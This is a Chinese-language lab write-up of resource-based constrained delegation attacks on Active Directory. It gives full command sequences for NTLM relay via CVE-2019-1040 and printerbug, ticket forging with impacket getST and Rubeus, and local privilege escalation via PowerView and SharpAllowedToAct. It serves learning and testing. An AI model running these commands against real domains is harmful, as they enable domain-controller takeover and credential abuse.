• 基于资源的约束性委派


    基于资源的约束性委派

    也不是新技术了,在网上搜了很多资料,有的很巧妙结合WebDav,有的比较基础一套流水线,无论如何我们不能觉得简单就跳过基础部分的学习,看完之后更要去模仿。

    参考文章:https://mp.weixin.qq.com/s/GdmnlsKJJXhElA4GuwxTKQ

    http://blog.nsfocus.net/analysis-attacks-entitlement-resource-constrained-delegation/

    https://blog.ateam.qianxin.com/post/zhe-shi-yi-pian-bu-yi-yang-de-zhen-shi-shen-tou-ce-shi-an-li-fen-xi-wen-zhang/#33-%E5%90%8E%E5%8F%B0getwebshell%E7%9A%84%E8%A1%A5%E4%B8%81%E7%BB%95%E8%BF%87

    介绍:只要拥有服务B的权限,就可以配置服务B的基于资源的约束委派,所以可以利用中继配置受信任的委派。参考文章中会写的很清楚。

    利用基于资源的约束性委派来进行攻击有两种场景

    1、结合NTLM Relay接管域控,如cve-2019-1040

    2、进行本地提权(获取到了将机器加入域的用户的权限或Account Operators组内用户权限)

    主域:10.10.10.10(机器名:ad,域管:administrator)

    辅助域控:10.10.10.20 (机器名:DC2:administrator)

    受控机器:10.10.10.12 (机器名:win2008,普通域用户:superman\test)

    攻击机器:10.10.10.13 (机器名:kali)

    目的:利用ntml relay配置基于资源的约束委派,能获得主域的权限

    NTLM Relay 接管域控

    利用条件:前提需要有备份域控(辅助域控)

    1、添加服务账号:serviceA 密码:123456 一个域账号可以

    Import-Module .\powermad.ps1

    New-MachineAccount -MachineAccount serviceA -Password $(ConvertTo-SecureString "123456" -AsPlainText -Force)

    image-20220406110936472

    2、触发ntlm relay

    2.1执行ntlmrelayx.py脚本,--delegate-access选项是将中继计算机帐户的访问权限委托给攻击者,--escalate-user参数设置serviceA资源委派,--remove-mic参数了是去除mic验证:

    impacket-ntlmrelayx -t ldap://10.10.10.10 -smb2support --remove-mic --delegate-access --escalate-user serviceA\$ -debug

    image-20220406112842426

    2.2利用cve-2019-1040

    使用任意域账号(test)SMB连接辅助域控制器,触发printerbug,使辅助域控制器(10.10.10.20)用自己的用户身份回连攻击者主机(10.10.10.13)

    python3 printerbug.py superman.com/test:Openx123..@10.10.10.20 10.10.10.13

    image-20220406112925744

    如图显示即成功,成功配置了从serviceA到DC2的委派

    3(1)、使用impacket-getST 获取ST登录DC2

    3.1、获取DC2的ST票据,-impersonate 模拟用户,此处模拟administrator,因为域控必有嘛

    impacket-getST -spn cifs/DC2.superman.com superman/serviceA\$:123456 -dc-ip 10.10.10.10 -impersonate administrator

    image-20220406113433550

    image-20220406113707935

    3.2、导入票据,smb登录(注意该票据只对DC2有效)

    确定dns指向10.10.10.10

    image-20220406113535117

    export KRB5CCNAME=administrator.ccache

    impacket-smbexec -k -no-pass dc2.superman.com

    image-20220406113757408

    3(2)、使用rubeus获取ST票据,效果与impacket-getST一样,做个记录

    先获取serviceA$用户的hash:

    Rubeus.exe hash /user:serviceA$ /password:123456 /domain:superman.com

    请求DC2机器的cifs票据:

    Rubeus.exe s4u /user:serviceA$ /rc4:32ED87BDB5FDC5E9CBA88547376818D4 /domain:superman.com /impersonateuser:administrator /msdsspn:cifs/DC2.superman.com /ptt

    提权

    利用条件:1、需要设置msDS-AllowedToActOnBehalfOfOtherIdentity属性,2、一个具有SPN的账号(需要一个账号的TGT)。

    满足第一个条件:将机器加入域的用户和机器账号本身都有权限修改自身的msDS-AllowedToActOnBehalfOfOtherIdentity属性的值(用户对机器有写权限)。

    满足第二个条件:默认所有域用户都可以向一个域添加10个机器账号(机器账号默认具有一些SPN,这些SPN包含了后面用到的cifs)。

    因此若当前受控机器的域用户使将机器加入域的用户,也就都满足以上两个条件。

    域账号提权
    • 使用powerview枚举已获得得用户对当前计算机是否有写权限(域用户test)

    hostname获取主机名:win2008

    Import-Module .\powerview.ps1

    Get-DomainUser test -Properties objectsid

    Get-DomainObjectAcl -Identity win2008 | ?{$_.SecurityIdentifier -match 'S-1-5-21-122891326-2016718976-2168248543-1124'}

    第一次失败了没有任何返回,所以此处暂不能进行rbcd,为了实验得以进行,手动配置下权限

    image-20220407101951587

    image-20220407101757670

    • 添加机器账号serviceB

      Import-Module .\powermad.ps1

      New-MachineAccount -MachineAccount serviceB -Password $(ConvertTo-SecureString '123456' -AsPlainText -Force)

      查看serviceB的sid

      Get-DomainComputer serviceB

      image-20220407102720295

      配置serviceB到win2008的基于资源约束的委派

       $SD =New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList 'O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-122891326-2016718976-2168248543-1127)';
      $SDBytes= New-Object byte[] ($SD.BinaryLength);
      $SD.GetBinaryForm($SDBytes,0);Get-DomainComputer win2008 | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose

    image-20220407103914303

    • 获取票据进行提权(这一步的时候稍微缓个10秒钟执行)

      impacket-getST -spn cifs/win2008.superman.com superman/serviceB\$:123456 -dc-ip 10.10.10.10 -impersonate administrator

      image-20220407104434292

      export KRB5CCNAME=administrator.ccache

      export KRB5CCNAME=administrator.ccache

      可以看到成功获得win2008的system权限

    image-20220407111820259

    机器账号提权

    由于iisapppool\defaultapppool或是networkservice账户权限出网时都是以当前机器账户身份进行请求,因此可以利用RBCD进行提权。

    可以直接使用:

    "https://github.com/pkb1s/SharpAllowedToAct"

    添加机器账号,并设置serviceE到sqlserver的基于资源约束的委派:

     SharpAllowedToAct.exe -m serviceC -p 123456 -t win2008 -a dc.superman.com -d superman.com

    640

    image-20220407114303052

    获取票据,并利用票据进行命令执行:

     python3getST.py -spn cifs/sqlserver.superman.com superman/serviceC\$:123456 -dc-ip 10.10.10.10 -impersonate administrator
    exportKRB5CCNAME=administrator.ccache
    python3 smbexec.py -k -no-pass win2008.superman.com

    机器账号提权摘得别人的图,最近有项目时间紧凑,挤点时间学的,委派的技术前前后后断断续续的都快搞10天了QAQ。。。

  • 相关阅读:
    hdu 4597 记忆化搜索
    hdu 4494 最小费用流
    hdu 4598 差分约束
    poj 3621 0/1分数规划求最优比率生成环
    poj 1695 动态规划
    noi 97 积木游戏
    hdu 4705 排列组合
    洛谷P2014 选课
    洛谷P1776 宝物筛选
    洛谷P1782 旅行商的背包
  • 原文地址:https://www.cnblogs.com/sup3rman/p/16114572.html
Copyright © 2020-2023  润新知